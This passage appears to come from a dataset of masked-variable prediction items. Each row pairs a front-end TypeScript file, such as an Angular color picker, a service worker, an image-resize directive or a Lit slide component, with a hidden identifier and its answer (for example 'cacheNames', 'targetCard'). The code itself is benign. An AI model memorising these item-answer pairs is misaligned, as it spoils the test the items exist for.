   * Whether or not the color picker is disabled
   * @private
   */
  _disabled = false;

  /**
   * Expand a short hex string (#abc) into its full form (#aabbcc)
   * @param hexString the short hex string to expand
   * @private
   */
  private static expandShortHexString(hexString: string): string {
    let fullHexString = '';

    for (let i = 0; i <= 2; i++) {
      fullHexString += `${hexString[i]}${hexString[i]}`;
    }

    return fullHexString;
  }

  /**
   * Function to call on change
   */
  onChange: (value: any) => void = () => {};

  /**
   * Function to call on touch
   */
  onTouched: () => any = () => {};

  /**
   * Dependency injection site
   * @param renderer the Angular renderer
   * @param changeDetectorRef the Angular ChangeDetectorRef
   */
  constructor(private renderer: Renderer2, private changeDetectorRef: ChangeDetectorRef) { }

  /**
   * Init component, check for color picker browser support
   */
  ngOnInit(): void {
    this.colorPickerSupported = this.isColorPickerSupported();
    this.render = true;
  }

  /**
   * Write value
   * @param value the value to write
   */
  writeValue(value: string): void {
    this.value = value;
    this.changeDetectorRef.markForCheck();
  }

  /**
   * Register on change function
   * @param fn the function to register
   */
  registerOnChange(fn: any): void {
    this.onChange = fn;
  }

  /**
   * Register on touched function
   * @param fn the function to register
   */
  registerOnTouched(fn: any): void {
    this.onTouched = fn;
  }

  /**
   * Set whether or not the control should be disabled
   * @param isDisabled disabled or not
   */
  setDisabledState(isDisabled: boolean): void {
    this.disabled = isDisabled;
    this.changeDetectorRef.markForCheck();
  }

  /**
   * Prevent illegal input
   * @param event the keydown KeyboardEvent
   */
  handleKeyDown(event: KeyboardEvent): void {
    const { key } = event;
    const { selectionStart, selectionEnd, value } = event.target as HTMLInputElement;

    if (!ColorPickerComponent.NAVIGATION_KEYS.includes(key) && !event.ctrlKey) {
      ColorPickerComponent.HEX_CHARACTER_REGEX.lastIndex = 0;

      const preventDefault = !ColorPickerComponent.HEX_CHARACTER_REGEX.test(key) ||
        (value.length >= 6 && (selectionStart === selectionEnd));

      if (preventDefault) {
        event.preventDefault();
      }
    }
  }

  /**
   * Update model
   * @param value the new value of the model
   * @param emitColorSelected whether or not emit the color selected event
   * @private
   */
  updateModel(value: string, emitColorSelected = false): void {
    ColorPickerComponent.FULL_HEX_REGEX.lastIndex = 0;
    let  [MASK]  = value;

    if ( [MASK] ) {
       [MASK]  =  [MASK] .replace('#', '');
    }

    if (!this._disabled && ColorPickerComponent.FULL_HEX_REGEX.test( [MASK] )) {
      const valueBeforeUpdate = this._value;
      this.value =  [MASK] ;

      if (valueBeforeUpdate !== this._value) {
        this.onChange(`#${ [MASK] }`);

        if (emitColorSelected) {
          this.colorSelected.emit(`#${ [MASK] }`);
        }
      }
    } else if (!value) {
      this.value = null as any;
      this.onChange(null);
    }
  }

  /**
   * Null out value on blur if not valid hex string, otherwise update model
   * @param value the value to check
   */
  handleBlur(value: string): void {
    ColorPickerComponent.SHORT_HEX_REGEX.lastIndex = 0;
    ColorPickerComponent.FULL_HEX_REGEX.lastIndex = 0;

    if (ColorPickerComponent.SHORT_HEX_REGEX.test(value)) {
      this.updateModel(ColorPickerComponent.expandShortHexString(value), true);
    } else if (ColorPickerComponent.FULL_HEX_REGEX.test(value)) {
      this.updateModel(value, true);
    } else {
      this.value = null as any;
      this.onChange(null);
    }
  }

  /**
   * Prevent pasting a non-hex string
   * @param event the paste ClipboardEvent
   */
  handlePaste(event: ClipboardEvent): void {
    event.preventDefault();

    if (!this._disabled) {
      let clipboardData: DataTransfer = null as any;

      if (event.clipboardData) {
        clipboardData = event.clipboardData;
      } else if ('clipboardData' in window) {
        clipboardData = (window as any).clipboardData.getData('text');
      }

      if (clipboardData) {
        ColorPickerComponent.FULL_HEX_REGEX.lastIndex = 0;
        const pastedText = clipboardData.getData('text')
          .replace('#', '');

        if (ColorPickerComponent.FULL_HEX_REGEX.test(pastedText)) {
          this.updateModel(pastedText);
        }
      }
    }
  }

  /**
   * Determine if the browser supports the HTML5 color picker
   * @private
   */
  private isColorPickerSupported(): boolean {
    let colorPickerSupported = false;

    try {
      const inputElement: HTMLInputElement = this.renderer.createElement('input');
      inputElement.type = 'color';
      inputElement.value = '!';

      colorPickerSupported = inputElement.type === 'color' && inputElement.value !== '!';
    } catch (e) { }

    return colorPickerSupported;
  }
}
",updateValue
231,"/// <reference lib=""webworker"" />

const CACHE_NAME = 'rural-societies-v1';
const OFFLINE_URL = '/offline.html';

self.addEventListener('install', (event: ExtendableEvent) => {
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => {
      return cache.addAll([
        OFFLINE_URL,
        '/',
        '/index.html',
        '/manifest.json',
        '/favicon.ico',
      ]);
    })
  );
});

self.addEventListener('fetch', (event: FetchEvent) => {
  if (event.request.mode === 'navigate') {
    event.respondWith(
      fetch(event.request).catch(() => {
        return caches.match(OFFLINE_URL) || caches.match(event.request);
      })
    );
    return;
  }

  event.respondWith(
    caches.match(event.request).then((response) => {
      return (
        response ||
        fetch(event.request).then((response) => {
          if (!response || response.status !== 200 || response.type !== 'basic') {
            return response;
          }

          const responseToCache = response.clone();
          caches.open(CACHE_NAME).then((cache) => {
            cache.put(event.request, responseToCache);
          });

          return response;
        })
      );
    })
  );
});

self.addEventListener('activate', (event: ExtendableEvent) => {
  event.waitUntil(
    caches.keys().then(( [MASK] ) => {
      return Promise.all(
         [MASK] 
          .filter((cacheName) => cacheName !== CACHE_NAME)
          .map((cacheName) => caches.delete(cacheName))
      );
    })
  );
});",cacheNames
232,"import {multiselection_style} from ""../utils/style_manager"";
import {multiView, viewOption, viewOptionClicked} from ""../css/multiselection.css"";
import {windowMain} from ""../css/index.css"";

export class MultiSelectionComponent {
    private page : {[key:string] : {
        container: JQuery<HTMLElement>,
        clickable: Function, //返回值为Boolean,意味着是否可以执行切换操作
        onclick:Function
        }} //页数Dictionary
    private menu : JQuery<HTMLElement>; //菜单栏

    private root : JQuery<HTMLElement>

    private selected_element: JQuery<HTMLElement>; //选中的page对应的按钮
    private selected_content : JQuery<HTMLElement>

    public constructor(views:{[key:string] : {
            container: JQuery<HTMLElement>,
            clickable: Function,
            onclick:Function
        }},css: {[key:string]:string}) {
        this.menu = $(`<div class='${multiselection_style.viewOptions}'></div>`); //菜单栏实例化
        this.page = views

        this.root = $(`<div class='${multiselection_style.multiViewBox}'></div>`)
        this.selected_element = $()
        this.selected_content = $(`<div class='${multiView}'></div>`)

        let first = true;
        for(let c in views) {
            let option = $(`<div class='${multiselection_style.viewOption}'><label>${c}</label></div>`) //选项按钮
            option.on('click', async () => {
                if (await this.page[c].clickable()) {
                    this.changePage(option, c)
                }
            })
            if (first) {
                this.changePage(option, c)
                first = false
            } //确保是第一个元素
            this.menu.append(option)
        }

        this.root.append(this.menu)
        this.root.append(this.selected_content)


        for(let i in css) {
            this.selected_content.css(i,css[i])
        }
    }

    public addPage(key:string,page:JQuery<HTMLElement>,click: Function) {
        this.page[key].container = page
        this.page[key].clickable = click
    }

    /**
     * 将各个Components组装成一个完整的组件
     */
    public getPage() {
        return this.root
    }

    private changePage( [MASK] :JQuery<HTMLElement>,key:string) {
        let ori_c = this.selected_element.text()
        if(key==ori_c) return
        if(ori_c.length!= 0) {
            this.selected_element.removeClass(`${viewOptionClicked}`)
            this.selected_element.addClass(`${viewOption}`)
            this.page[ori_c].container = this.selected_content.children("":first-child"").clone(true,true) //保存更改后的element
        }

         [MASK] .addClass(`${viewOptionClicked}`)
         [MASK] .removeClass(`${viewOption}`)

        this.selected_content.empty()
        this.selected_content.append(this.page[key].container) //不重新赋值，不能让变量根指针改变
        this.page[key].onclick()
        this.selected_element =  [MASK] 
    }
}",menuElement
233,"import {Directive, EventEmitter, HostListener, Input, OnChanges, Output, SimpleChanges} from '@angular/core';

import {fromEvent, Observable, of} from 'rxjs';
import {map, switchMap} from 'rxjs/operators';

export interface ImageResizeInputOptions {
    maxWidth: number;
    maxHeight: number;
    quality: number;
    type: string;
}

export interface ImageResizeResult {
    data: string;
    blob: Blob;
}

@Directive({
    selector: 'input[type=file][imageResizeInput]'
})
export class ImageResizeInputDirective implements OnChanges {
    @Input('imageResizeInput') options: ImageResizeInputOptions;
    @Output('selected') selectedEmitter: EventEmitter<any>;

    constructor() {
        this.selectedEmitter = new EventEmitter<any>();
    }

    ngOnChanges(changes: SimpleChanges): void {
        if (!this.options) {
            this.options = {
                maxWidth: 1024,
                maxHeight: 1024,
                quality: 0.9,
                type: 'image/jpeg'
            };
        }
    }

    @HostListener('change', ['$event'])
    onFileChange(event): void {
        of(event.target.files[0]).pipe(
            switchMap((file: File) => this.fromFileToDataURL(file)),
            switchMap((dataURL: string) => this.fromDataURLToImageElement(dataURL)),
            switchMap((image: HTMLImageElement) => this.resizeImage(image))
        ).subscribe(
            (result: ImageResizeResult) => this.selectedEmitter.emit(result)
        );
    }

    private fromFileToDataURL(file: File): Observable<string> {
        const reader = new FileReader();
        const observer: Observable<string> = fromEvent(reader, 'load')
            .pipe(
                map((result: any) => result.target.result)
            );

        reader.readAsDataURL(file);

        return observer;
    }

    private fromDataURLToImageElement(dataURL: string): Observable<HTMLImageElement> {
        const image: HTMLImageElement = new Image();
        const observer = fromEvent(image, 'load').pipe(map(() => image));

        image.src = dataURL;

        return observer;
    }

    private resizeImage(image: HTMLImageElement): Observable<ImageResizeResult> {
        const canvas: HTMLCanvasElement = document.createElement('canvas');

        let height = image.height;
        let width = image.width;

        if (width > this.options.maxWidth) {
            height = Math.round(height * this.options.maxWidth / width);
            width = this.options.maxWidth;
        }

        if (height > this.options.maxHeight) {
            width = Math.round(width * this.options.maxHeight / height);
            height = this.options.maxHeight;
        }

        canvas.width = width;
        canvas.height = height;

        const context: CanvasRenderingContext2D = canvas.getContext('2d');

        context.drawImage(image, 0, 0, width, height);

        const dataURL: string = canvas.toDataURL(this.options.type, this.options.quality);

        console.log(`Converting image from ${image.width}x${image.height} size to ${width}x${height} (${dataURL.length}) size in ${this.options.type} format.`);

        return of({
            data: dataURL,
            blob: this.fromDataURLToBlob(dataURL, this.options.type)
        });
    }

    private fromDataURLToBlob(dataURL: string,  [MASK] : string = this.options.type, sliceSize: number = 512): Blob {
        const byteCharacters = atob(dataURL.split(',')[1]);
        const byteArrays = [];

        for (let offset = 0; offset < byteCharacters.length; offset += sliceSize) {
            const slice = byteCharacters.slice(offset, offset + sliceSize);
            const byteNumbers = new Array(slice.length);

            for (let i = 0; i < slice.length; i++) {
                byteNumbers[i] = slice.charCodeAt(i);
            }

            byteArrays.push(new Uint8Array(byteNumbers));
        }

        return new Blob(byteArrays, { type:  [MASK]  });
    }

    /*
    private orientImageFromEXIFMetadata(image: HTMLImageElement): Observable<HTMLImageElement> {
        return Observable.create((observer: any) => {
            EXIF = EXIF || this.createDefaultEXIFObject(image);
            EXIF.getData(image, () => {
                const orientation = EXIF.getTag(image, 'Orientation');
                const canvas: HTMLCanvasElement = document.createElement('canvas');
                const context: CanvasRenderingContext2D = <CanvasRenderingContext2D> canvas.getContext('2d');

                if (orientation !== 1) {
                    let width: number = image.width;
                    let height: number = image.height;
                    let x = 0, y = 0, degree = 0;

                    switch (orientation) {
                        case 3:
                        case 4:
                            x = -image.width;
                            y = -image.height;
                            degree = 180;

                            break;
                        case 5:
                        case 6:
                            width = image.height;
                            height = image.width;
                            degree = 90;
                            y = -image.height;

                            break;
                        case 7:
                        case 8:
                            width = image.height;
                            height = image.width;
                            degree = 270;
                            x = -image.width;

                            break;
                        default:
                            break;
                    }

                    canvas.width = width;
                    canvas.height = height;

                    // Flipping image
                    if ([2, 4, 5, 7].indexOf(orientation) > -1) {
                        context.translate(width, 0);
                        context.scale(-1, 1);
                    }

                    context.rotate(degree * Math.PI / 180);
                    context.drawImage(image, x, y);

                    const rotatedImage: HTMLImageElement = document.createElement('img');

                    rotatedImage.width = width;
                    rotatedImage.height = height;

                    fromEvent(rotatedImage, 'load').subscribe(() => {
                        observer.next(rotatedImage);
                        observer.complete();
                    });

                    rotatedImage.src = canvas.toDataURL(this.options.type);
                } else {
                    observer.next(image);
                    observer.complete();
                }
            });
        });
    }

    private createDefaultEXIFObject(image: HTMLImageElement) {
        const defaultEXIF: {
            getData: Function,
            getTag: Function
        } = {
            getData: (img, cb) => {
                cb.call(image);

                return true;
            },
            getTag: (source: HTMLImageElement, tag: string) => false
        };

        return defaultEXIF;
    }
    */
}
",contentType
234,"import { useState, useRef, useEffect, useCallback } from 'react';
import gsap from 'gsap';
import { ScrollTrigger } from 'gsap/ScrollTrigger';
import { ScrollToPlugin } from 'gsap/ScrollToPlugin';

gsap.registerPlugin(ScrollTrigger, ScrollToPlugin);

interface HorizontalScrollOptions {
  itemSelector: string;
}

export const useHorizontalScroll = ({ itemSelector }: HorizontalScrollOptions) => {
  const sectionRef = useRef<HTMLElement>(null);
  const trackRef = useRef<HTMLDivElement>(null);
  const cardsRefObj = useRef<(HTMLElement | null)[]>([]);
  const [activeIndex, setActiveIndex] = useState(0);
  const activeIndexRef = useRef(activeIndex);
  const timelineRef = useRef<gsap.core.Timeline>();
  const [isMobile, setIsMobile] = useState(false);

  useEffect(() => {
    activeIndexRef.current = activeIndex;
  }, [activeIndex]);

  useEffect(() => {
    const checkMobile = () => setIsMobile(window.innerWidth < 1024);
    checkMobile();
    window.addEventListener('resize', checkMobile);
    return () => window.removeEventListener('resize', checkMobile);
  }, []);

  const updateActiveIndex = useCallback((index: number) => {
    setActiveIndex(index);
  }, []);

  useEffect(() => {
    const cards = gsap.utils.toArray<HTMLElement>(itemSelector, sectionRef.current ?? undefined);
    cardsRefObj.current = cards;
    
    const track = trackRef.current;
    const section = sectionRef.current;

    if (!track || !section || cards.length === 0) return;
    
    gsap.set(cards, { willChange: 'transform, opacity' });

    const ctx = gsap.context(() => {
      const firstCard = cards[0];
      const lastCard = cards[cards.length - 1];
      if (!firstCard || !lastCard) return;

      const getStartX = () => window.innerWidth / 2 - (firstCard.offsetLeft + firstCard.offsetWidth / 2);
      const getEndX = () => window.innerWidth / 2 - (lastCard.offsetLeft + lastCard.offsetWidth / 2);

      const startX = getStartX();
      const endX = getEndX();
      const totalScrollDistance = Math.abs(endX - startX);

      gsap.set(track, { x: startX });

      const timeline = gsap.timeline({
        scrollTrigger: {
          trigger: section,
          pin: true,
          scrub: 1.2,
          start: 'center center',
          end: () => `+=${totalScrollDistance}`,
          invalidateOnRefresh: true,
          onUpdate: (self) => {
            const currentX = gsap.getProperty(track, 'x') as number;
            
            let closestIndex = -1;
            let minDistance = Infinity;
            const viewportCenter = window.innerWidth / 2;

            cards.forEach((card, index) => {
              if (card) {
                const cardCenter = card.offsetLeft + card.offsetWidth / 2 + currentX;
                const distance = Math.abs(cardCenter - viewportCenter);
                if (distance < minDistance) {
                  minDistance = distance;
                  closestIndex = index;
                }
              }
            });

            if (closestIndex !== -1 && activeIndexRef.current !== closestIndex) {
              updateActiveIndex(closestIndex);
            }
          }
        }
      });
      timelineRef.current = timeline;

      timeline.to(track, { x: endX, ease: 'none' });
    }, section);

    return () => {
      gsap.set(cards, { willChange: 'auto' });
      ctx.revert();
    }
  }, [itemSelector, updateActiveIndex]);

  useEffect(() => {
      cardsRefObj.current.forEach((card, index) => {
          if (card) {
              const isActive = index === activeIndex;
              gsap.to(card, {
                  scale: isActive ? 1 : 0.9,
                  opacity: isActive ? 1 : 0.6,
                  duration: 0.5,
                  ease: 'power3.out'
              });
          }
      });
  }, [activeIndex]);

  const goToCard = (index: number) => {
    const scrollTrigger = timelineRef.current?.scrollTrigger;
    const track = trackRef.current;
    const cards = cardsRefObj.current;

    const firstCard = cards[0];
    const lastCard = cards[cards.length-1];
    const  [MASK]  = cards[index];

    if (!scrollTrigger || !track || ! [MASK]  || !firstCard || !lastCard) return;

    const startX = window.innerWidth / 2 - (firstCard.offsetLeft + firstCard.offsetWidth / 2);
    const endX = window.innerWidth / 2 - (lastCard.offsetLeft + lastCard.offsetWidth / 2);
    const targetX = window.innerWidth / 2 - ( [MASK] .offsetLeft +  [MASK] .offsetWidth / 2);

    const clampedTargetX = gsap.utils.clamp(Math.min(startX, endX), Math.max(startX, endX), targetX);
    const progress = gsap.utils.mapRange(startX, endX, 0, 1, clampedTargetX);
    
    const y = scrollTrigger.start + progress * (scrollTrigger.end - scrollTrigger.start);

    gsap.to(window, {
      scrollTo: { y: y, autoKill: false },
      duration: 1,
      ease: 'power2.inOut',
    });
  };

  return { sectionRef, trackRef, activeIndex, goToCard };
}; ",targetCard
235,"// SPDX-FileCopyrightText: 2022 Digital Dasein <https://digital-dasein.gitlab.io/>
// SPDX-FileCopyrightText: 2022 <NAME> <<EMAIL>>
// SPDX-FileCopyrightText: 2022 <NAME> <<EMAIL>>
//
// SPDX-License-Identifier: MIT

import { html, css, LitElement } from 'lit';
import { property } from 'lit/decorators.js';
import { unsafeHTML } from 'lit/directives/unsafe-html.js';

/*---------------------------------------------------------------------*/
/* Config                                                              */
/*---------------------------------------------------------------------*/

const DEFAULT_ATTRIBUTES = {
  author: '',
  mainTitle: 'dummy-title',
  subTitle: '',
  date: '',
  url: '',
  imgSrc: '',
  imgUrl: '',
  organisation: '',
  organisationUrl: '',
  full: false,
  fullScaleFactor: 1,
  configPath: '',
  cursorTimeout: 3000,
};

let CURSOR_TIMER: ReturnType<typeof setTimeout>;

/*---------------------------------------------------------------------*/
/* Utils                                                               */
/*---------------------------------------------------------------------*/

function insertHtmlWrongElem(elem: HTMLElement) {
  return `
<i>[WARNING] <code>${elem.nodeName}</code> element is not allowed.
<br>
<br>
Only include <code>section and dd-slide</code> elements, or elements with
<code>.slide</code> class inside a <code>dd-slide-collection</code>, otherwise,
the slide will not be rendered properly</i>
`;
}

async function getJsonConfig(url: string) {
  /* first check head to see if file exists (no need to fetch whole file if
   * when looping over multiple possible filepaths */
  const _checkFileExists = async (urlCheck: string) => {
    const response = await fetch(urlCheck, { method: 'HEAD' });
    if (response.status !== 404) {
      return true;
    }

    console.error(`JSON config does not exist at '${urlCheck}'`);
    return false;
  };

  const bFile = await _checkFileExists(url);

  if (bFile) {
    try {
      const response = await fetch(url);
      const json = await response.json();
      return json;
    } catch (err: any) {
      console.error(`Error while reading config file at ${url} \n\n ${err}`);
    }
  }

  return {
    error: 'Could not parse JSON config, see console for errors',
  };
}

/*---------------------------------------------------------------------*/
/* Main                                                                */
/*---------------------------------------------------------------------*/

/**
 * Main class for HTML web component **`dd-slide-collection`**
 *
 * For **styling** this component, check out {@link DdSlideCollection.styles |
 * the styles section}.
 *
 * <u>**Important note**</u>: all lit-component properties (interpreted here as
 * `other properties`) that are documented here have a **corresponding
 * HTML attribute**. The _non-attribute_ properties are consired private,
 * and are ingored in the documentation.
 *
 * @example
 * A simple slide collection containing two slide elements, one `dd-component`
 * (`dd-slide`), and one native `section` with `class=""slide""`. This example
 * moreover illustrates a limited amount of collection config attributes.
 *
 * ```html
 * <html>
 *   [...]
 *   <dd-slide-collection main-title=""My main title""
 *                        sub-title=""my sub title""
 *                        author=""some author""
 *                        organisation=""My Org""
 *                        organisation-url=""""
 *                        date="""">
 *
 *     <dd-slide>
 *       <h2>My first slide</h2>
 *     </dd-slide>
 *     <section class=""slide"">
 *       <h2>A section also works</h2>
 *     </section>
 *   </dd-slide-collection>
 *   [...]
 * </html>
 * ```
 *
 * The caption in `list`-mode has a default style, however, you could simply
 * add a <b>custom caption</b> with the `caption` slot inside a slide collection (it
 * will overwrite the default):
 *
 * ```html
 * <dd-slide-collection ...>
 *   <div slot=""caption"">
 *      This is a custom caption, which can hold any HTML
 *      content you want
 *   </div>
 *  </dd-slide-collection>
 */

export class DdSlideCollection extends LitElement {
  /**
   * To style the `dd-slide-collection` component, use the following **CSS host
   * variables** (including their default values):
   *
   * |  <div style=""width:200px"">CSS variable</div>   | <div style=""width:200px"">Default</div>   | Description |
   * |:-----------------------------------------------|:-----------------------------------------|:------------|
   * |**`--dd-color-prim`**        |`None`                      | primary `dd-component` color, which propagates into nested `dd-elements`                  |
   * |**`--dd-color-prim-dark`**   |`None`                      | *dark-theme* primary `dd-component` color, which propagates into nested `dd-elements`     |
   * |**`--dd-color-sec`**         |`None`                      | secundary `dd-component` color, which propagates into nested `dd-elements`                |
   * |**`--dd-color-sec-dark`**    |`None`                      | *dark-theme* secundary `dd-component` color, which propagates into nested `dd-elements`   |
   * |**`--dd-color-list-bg`**     |`None`                      | background color for `list`-mode                                                          |
   * |**`--dd-color-text`**        |`None (default)`            | main text color,  which propagates into nested `dd-elements`                              |
   * |**`--dd-color-text-light`**  |`None (default)`            | *light* text color, which propagates into nested `dd-elements`                            |
   * |**`--dd-color-caption-bg`**  |`var(--dd-color-prim-dark, rgba(65, 90, 72, 1))`       | caption ackground color, falls back to `rgba(65, 90, 72, 1)` if not defined               |
   * |**`--dd-color-caption-fg`**  |`var(--dd-color-text-light, rgba(255,255,255,1)`)| caption foreground color                                                                  |
   * |**`--dd-color-caption-link`**|`inherit`                   | caption link color (by default, inherit from caption fg color   |
   * |**`--dd-slide-gap`**         |`96px`                      | gap between slides in `list`-mode                                                         |
   * |**`--dd-slide-ratio`**       |`calc(16/9)`                | slide apsect ratio |
   * |**`--dd-slide-width`**       |`1024px`                    | slide width (this, together with`--dd-slide-ratio` determines the slide height)           |
   * |**`--dd-full-scale-factor`** |`1`                         | factor for presenting in full screen (e.g. 0.8 will render the `full` slide at  80% of the maximum screen size) |
   * |**`--dd-font`**              |`24px/2 'Roboto', sans-serif`| font style |
   * |**`--dd-font-size`**         |`24px`                      | font _size_ setter |
   * |**`--dd-caption-height`**    |`250px`                     | height of the caption in `list`-mode |
   * |**`--dd-caption-font-size`** |`calc(2.2 * var(--dd-font-size);`| * font-size of caption|
   * |**`--dd-caption-img-height`**|`calc(0.5 * var(--dd-caption-height));`| * height of caption image (width/height ratio holds) |
   * |**`--dd-slide-nr-font-size`**|`16px`                      | slide number font-size |
   * |**`--dd-slide-nr-color`**    |`var(--dd-color-text)`      | slide number color     |
   * |**`--dd-slide-nr-right`**    |`13px`                      | slide number right     |
   * |**`--dd-slide-nr-bottom`**   |`0`                         | slide number bottom    |
   *
   * The variables can be set anywhere in your HTML context (e.g. in `:root`,
   * up until the `dd-slide-collection` component itself).
   *
   */

  static styles = css`
    :host {
      /* Ddpres fillers */

      /* dd color pallette */

      --slide-collect-color-prim: var(--dd-color-prim);
      --slide-collect-color-prim-dark: var(--dd-color-prim-dark);
      --slide-collect-color-sec: var(--dd-color-sec);
      --slide-collect-list-bg-color: var(
        --dd-color-list-bg,
        rgba(248, 237, 227, 0.5)
      );
      --slide-collect-text-color: var(--dd-color-text, rgba(0, 0, 0, 0.9));
      --slide-collect-text-color-light: var(
        --dd-color-text-light,
        rgba(255, 255, 255, 1)
      );

      --dd-color-caption-link: inherit;

      --slide-collect-gap: var(--dd-slide-gap, 96px);
      --slide-collect-ratio: var(--dd-slide-ratio, calc(16 / 9));
      --slide-collect-width: var(--dd-slide-width, 1024px);
      --slide-collect-height: var(
        --dd-slide-height,
        calc(var(--slide-collect-width) / var(--slide-collect-ratio))
      );
      --slide-collect-full-scale-factor: var(--dd-full-scale-factor, 1);
      --slide-collect-font: var(--dd-font, 24px/2 'Roboto', sans-serif);
      --slide-collect-font-size: var(--dd-font-size, 24px);

      --caption-height: var(--dd-caption-height, 250px);
      --caption-center-width: 60%;
      --caption-font-size: var(
        --dd-caption-font-size,
        calc(2.2 * var(--slide-collect-font-size))
      );
      --caption-padding-left: 30px;
      --caption-padding-top: 30px;
      --caption-padding-right: 30px;
      --caption-padding-bottom: 30px;
      --caption-img-height: var(
        --dd-caption-img-height,
        calc(0.5 * var(--caption-height))
      );
      --caption-fg-color: var(
        --dd-color-caption-fg,
        var(--slide-collect-text-color-light)
      );

      --dd-color-caption-bg: var(--dd-color-prim-dark, rgba(65, 90, 72, 1));
      --caption-bg-color: var(--dd-color-caption-bg);

      --slide-collect-slide-nr-font-size: var(--dd-slide-nr-font-size, 16px);
      --slide-collect-slide-nr-right: var(--dd-slide-nr-right, 13px);

      --dd-slide-nr-bottom: 0em;

      --slide-collect-slide-nr-bottom: var(--dd-slide-nr-bottom, 0.2em);
      --slide-collect-slide-nr-color: var(
        --dd-slide-nr-color,
        var(--slide-collect-text-color)
      );

      --slide-scale: 1;

      margin: 0;
      padding: 0;
      color: black;
      counter-reset: slide;

      font: var(--slide-collect-font);
      font-size: var(--slide-collect-font-size);
    }

    /* Full */

    :host(.full) {
      display: block;
    }

    /* Hover */

    :host(.list) > ::slotted(.slide:hover),
    :host(.list) > ::slotted(section:hover) {
      box-shadow: 0 0 0 20px
        var(--slide-collect-color-prim, rgba(65, 90, 72, 0.5));
    }

    :host > ::slotted(section),
    :host > ::slotted(.slide) {
      position: relative;
      z-index: 0;
      overflow: hidden;
      box-sizing: border-box;
      width: var(--slide-collect-width);
      max-width: 100%;
      height: var(--slide-collect-height);
      background-color: white;
      margin: 0 auto;
      /*margin-bottom: var(--slide-collect-gap)*/
    }

    :host(.full) > ::slotted(section),
    :host(.full) > ::slotted(.slide) {
      position: absolute;
      transform-origin: 0 0;
      transform: scale(var(--slide-collect-full-scale-factor));
      border: 1px solid black;
    }

    /* Number */

    :host > ::slotted(section)::after,
    :host > ::slotted(.slide)::after {
      position: absolute;
      font-size: var(--slide-collect-slide-nr-font-size);
      right: var(--slide-collect-slide-nr-right);
      bottom: calc(var(--slide-collect-slide-nr-bottom));
      left: 0px;
      color: var(--slide-collect-slide-nr-color);
      text-align: right;
      counter-increment: slide;
      content: counter(slide);
      z-index: 999;
    }

    :host > ::slotted(.slide.titlepage)::after,
    :host > ::slotted(dd-titlepage)::after {
      counter-increment: slide;
      content: '';
    }

    /* List */

    :host(.list) ::slotted(.slide),
    :host(.list) ::slotted(section) {
      position: relative;
      box-shadow: calc(var(--slide-scale) * 4px) calc(var(--slide-scale) * 4px)
        0 calc(var(--slide-scale) * 4px)
        var(--slide-collect-color-prim-dark, rgba(0, 0, 0, 0.8));
      transform-origin: 0 0;
      transform: scale(var(--slide-scale));
      display: block;
      min-width: var(--slide-collect-width);
    }

    :host(.list) > ::slotted(section.slide *),
    :host(.list) > ::slotted(dd-slide *) {
      pointer-events: none;
    }

    :host(.list) {
      padding: calc(var(--slide-collect-gap) * var(--slide-scale));
      box-sizing: border-box;
      width: 100%;
      display: grid;
      grid-gap: calc(var(--slide-collect-gap) * var(--slide-scale));
      grid-auto-rows: calc(var(--slide-collect-height) * var(--slide-scale));
      grid-template-rows: min-content;
      grid-template-columns: repeat(
        auto-fill,
        calc(var(--slide-collect-width) * var(--slide-scale))
      );
      background-color: var(--slide-collect-list-bg-color);
      /*overflow-x: hidden;*/
    }

    :host(.list) .dd-caption,
    :host(.list) .dd-caption-custom {
      grid-column: 1 / -1;
      margin-top: calc(-1 * var(--slide-collect-gap) * var(--slide-scale));
      margin-left: calc(-1 * var(--slide-collect-gap) * var(--slide-scale));
      box-sizing: border-box;
      width: 100vw;
    }

    /* IE & Edge Fix */

    :host(.list):not(.dd-caption):not(.dd-caption-custom) {
      position: absolute;
      clip: rect(0, auto, auto, 0);
    }

    /* Responsive */

    :host(.list) {
      --slide-scale: 0.25;
    }

    @media (min-width: 1168px) {
      :host(.list) {
        --slide-scale: 0.5;
      }
    }

    @media (min-width: 2336px) {
      :host(.list) {
        --slide-scale: 1;
      }
    }

    @media (max-width: 1168px) {
      :host {
        --caption-font-size: calc(1.3 * var(--slide-collect-font-size));
      }
    }
    @media (max-width: 700px) {
      :host {
        --caption-font-size: calc(1.1 * var(--slide-collect-font-size));
      }
    }

    /* Caption */

    .dd-caption {
      width: 100%;
      position: relative;
      display: flex;
      flex-direction: row;
      z-index: 1;
      color: var(--caption-fg-color);
      background-color: var(--caption-bg-color);
      height: var(--caption-height);
    }

    .dd-caption a {
      color: var(--dd-color-caption-link);
    }

    .dd-caption-item {
      font-size: var(--caption-font-size);
    }

    .dd-caption-left {
      flex-grow: 1;
      text-align: left;
      align-self: center;
      padding: var(--caption-padding-top) 0 var(--caption-padding-bottom)
        var(--caption-padding-left);
    }

    .dd-caption-center {
      flex-grow: 6;
      text-align: left;
      max-width: var(--caption-center-width);
      padding: var(--caption-padding-top) var(--caption-padding-right)
        var(--caption-padding-bottom) var(--caption-padding-left);
    }

    .dd-caption-title {
      padding-top: 20px;
      line-height: 1em;
      font-size: var(--caption-font-size);
      font-weight: 300;
    }

    .dd-caption-subtitle {
      padding-top: 20px;
      line-height: 1em;
      font-size: calc(0.55 * var(--caption-font-size));
      color: var(--caption-color-subtitle, rgba(255, 255, 255, 0.7));
    }

    .dd-caption-right {
      flex-grow: 1;
      text-align: right;
      font-size: calc(0.35 * var(--caption-font-size));
      align-self: flex-end;
      padding: var(--caption-padding-top) var(--caption-padding-right)
        var(--caption-padding-bottom) 0;
    }

    img.caption-img {
      height: var(--caption-img-height);
      display: block;
    }

    .dd-slide-collect-org-url {
      color: var(--slide-collect-text-color-light);
    }

    /* do not show custom caption slot */
    .dd-caption-custom {
      width: 100%;
      z-index: 1;
    }

    /* Print */

    @media print {
      .dd-caption {
        display: none !important;
      }

      :host(.full) {
        display: inline;
      }

      :host(.full) ::slotted(section),
      :host(.full) ::slotted(.slide) {
        position: relative;
        margin-left: 0 !important;
        margin-top: 0 !important;
        margin-bottom: 0 !important;
        transform: none;
      }
    }
  `;

  /**
   * Main presentation title
   *
   * **Corresponding attribute:** `main-title`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'main-title' })
  mainTitle = DEFAULT_ATTRIBUTES.mainTitle;

  /**
   * Presentation subtitle
   *
   * **Corresponding attribute:** `sub-title`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'sub-title' })
  subTitle = DEFAULT_ATTRIBUTES.subTitle;

  /**
   * Presentation author
   *
   * **Corresponding attribute:** `author`
   *
   * **Default value:** `""""` (empty string)
   */
  @property({ type: String, attribute: 'author' })
